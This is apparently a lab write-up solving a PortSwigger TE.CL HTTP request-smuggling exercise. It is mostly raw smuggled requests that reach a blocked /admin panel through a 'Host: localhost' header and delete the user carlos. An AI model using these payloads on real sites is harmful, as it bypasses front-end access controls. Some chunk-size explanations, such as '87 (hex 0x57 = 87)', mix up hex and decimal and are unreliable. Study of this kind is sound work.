PortSwigger

Lab Description
This lab involves a front-end and back-end server, and the back-end server doesn’t support chunked encoding. There’s an admin panel at
/admin, but the front-end server blocks access to it.Objective: Smuggle a request to the back-end server that accesses the admin panel and deletes the user carlos.
Step 1: Understanding the Vulnerability
The TE.CL vulnerability:
- Front-end server: Uses
Transfer-Encoding: chunked(TE) - supports chunked encoding - Back-end server: Uses
Content-Length(CL) - doesn’t support chunked encoding - The discrepancy allows request smuggling
The attack:
- Send a request with chunked encoding where the chunk size indicates more data
- Front-end processes chunked encoding
- Back-end sees only the
Content-Lengthand misses the smuggled request - The smuggled request bypasses front-end security controls

Step 2: Reconnaissance
Step 2.1: Test Admin Access
Try to visit /admin:
GET /admin HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Response: 403 Forbidden - Front-end blocks access.
Step 3: TE.CL Request Smuggling
Step 3.1: Basic Smuggling Attempt
Send the following request twice (to see the effect):
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked
60
POST /admin HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
Important: Include the trailing \r\n\r\n after the final 0.
Request breakdown:
| Chunk | Size | Data |
|---|---|---|
| Chunk 1 | 60 (96 bytes) | POST /admin HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 15\r\n\r\nx=1 |
| Chunk 2 | 0 | Terminator |
How the servers interpret:
| Server | Uses | Sees |
|---|---|---|
| Front-end | Transfer-Encoding: chunked | Processes chunks, sees 96 bytes of data |
| Back-end | Content-Length: 4 | Only sees first 4 bytes of the request |
Result: The smuggled POST /admin request is sent to the back-end.
Response: Error - missing Host: localhost header.

Step 4: Adding Host Header
Step 4.1: Smuggle with Localhost
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked
71
POST /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
Chunk calculation:
71 in hex = 113 bytes
The chunk data is:
POST /admin HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1

Response: Admin panel accessible!
The back-end receives the smuggled request with Host: localhost and grants access.
Step 5: Deleting User Carlos
Step 5.1: Modify Smuggled Request
Change the smuggled request URL to delete carlos:
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-length: 4
Transfer-Encoding: chunked
87
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
Chunk calculation:
The chunk data is:
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1

Count the bytes: 87 (hex 0x57 = 87)
Step 5.2: Send the Request
Send the request twice (first is poisoning, second triggers the effect).
Expected result: User carlos is deleted.

Step 6: Lab Solved
Success message displayed:
